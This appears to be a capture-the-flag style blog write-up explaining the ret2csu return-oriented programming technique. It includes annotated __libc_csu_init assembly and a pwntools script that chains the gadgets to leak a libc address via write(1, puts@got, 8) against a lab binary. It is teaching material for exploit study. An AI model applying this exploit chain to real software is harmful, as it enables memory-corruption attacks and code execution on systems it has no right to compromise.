algoatson.github.io ~/posts
segfault@algoatson.github.io
back to index

ret2csu — the universal gadget hiding in every binary

2026-01-153 min readpwn rop

The annoying gap in many 64-bit ROP problems: you have pop rdi, but no pop rsi and no pop rdx, so you can't set up a three-argument call like write(1, buf, n) or execve(path, argv, envp). Before you go hunting for ret2dlresolve or a pivot, check __libc_csu_init — the C runtime startup function the linker bundles into nearly every dynamically-linked binary contains a near-universal argument-setting gadget.

target./svc
arch
amd64-64-little
linkage
dynamic, has __libc_csu_init
gap
pop rdi exists; pop rsi / pop rdx do not

the two halves#

The tail of __libc_csu_init disassembles into a pop block and a mov/call block, back to back:

__libc_csu_init (the gadget pair)asm
; --- gadget 2: load args from r13..r15, call [r12+rbx*8] ---
loop:  mov  rdx, r13
       mov  rsi, r14
       mov  edi, r15d            ; NOTE: 32-bit — first arg is truncated
       call qword [r12 + rbx*8]
       add  rbx, 1
       cmp  rbx, rbp
       jne  loop
       ; ... falls through to ...
; --- gadget 1: fill rbx, rbp, r12, r13, r14, r15 ---
       pop  rbx
       pop  rbp
       pop  r12
       pop  r13
       pop  r14
       pop  r15
       ret

Chain them: gadget 1 loads the registers, gadget 2 spreads them into the argument registers and calls through [r12+rbx*8].

driving it#

To call func(arg1, arg2, arg3):

  • rbx = 0, rbp = 1 — so after the call add rbx,1; cmp rbx,rbp is equal and jne falls straight through (no second iteration);
  • r12 = &ptr where *ptr == func — the call is indirect, through memory, so point r12 at a slot holding the target (a GOT entry works);
  • r13 = arg3 (→ rdx), r14 = arg2 (→ rsi), r15 = arg1 (→ edi).

After the call, execution hits the six pops again, so pad the stack with six dummies before your next gadget.

ret2csu.py — leak libc via write(1, got, 8)python
1
2
3
4
5
6
7
8
9
from pwn import *
elf = context.binary = ELF("./svc")
csu1 = 0x4005ba   # pop rbx;rbp;r12;r13;r14;r15;ret
csu2 = 0x4005a0   # mov rdx,r13; mov rsi,r14; mov edi,r15d; call [r12+rbx*8]

chain  = p64(csu1) + p64(0) + p64(1) + p64(elf.got["write"])   # rbx,rbp,r12
chain += p64(8) + p64(elf.got["puts"]) + p64(1)                # r13=rdx,r14=rsi,r15=edi
chain += p64(csu2) + b"A"*8*6 + p64(elf.sym["main"])           # call, 6 pads, back to main
# pwntools will also synthesize this automatically: rop.call('write',[1,got,8])
args set, libc leaked, no pop rsi in sight

write(1, puts@got, 8) dumps a libc pointer; rebase, and the second stage is a one_gadget or system:

txt
segfault{the_runtime_left_me_a_gadget}

the two catches#

  • mov edi, r15d is 32-bit. The first argument is truncated to 32 bits — fine for an fd like 1, useless for a 64-bit pointer. So ret2csu is perfect for write(1, …, …) leaks; for a call needing a pointer in rdi (like execve("/bin/sh", …)), pair it with a real pop rdi for the first arg and let csu handle rsi/rdx.
  • Modern binaries may not have it. Around glibc 2.34 the startup was reorganised and __libc_csu_init disappeared from new builds. On those, fall back to other universal gadgets (__libc_start_main fragments) or ret2dlresolve.

ret2csu is the reminder that a binary's gadget set is bigger than its own code — the runtime glue the linker staples on carries a three-argument call primitive, sitting there in nearly every dynamically-linked ELF, waiting for the day you can't find a pop rdx.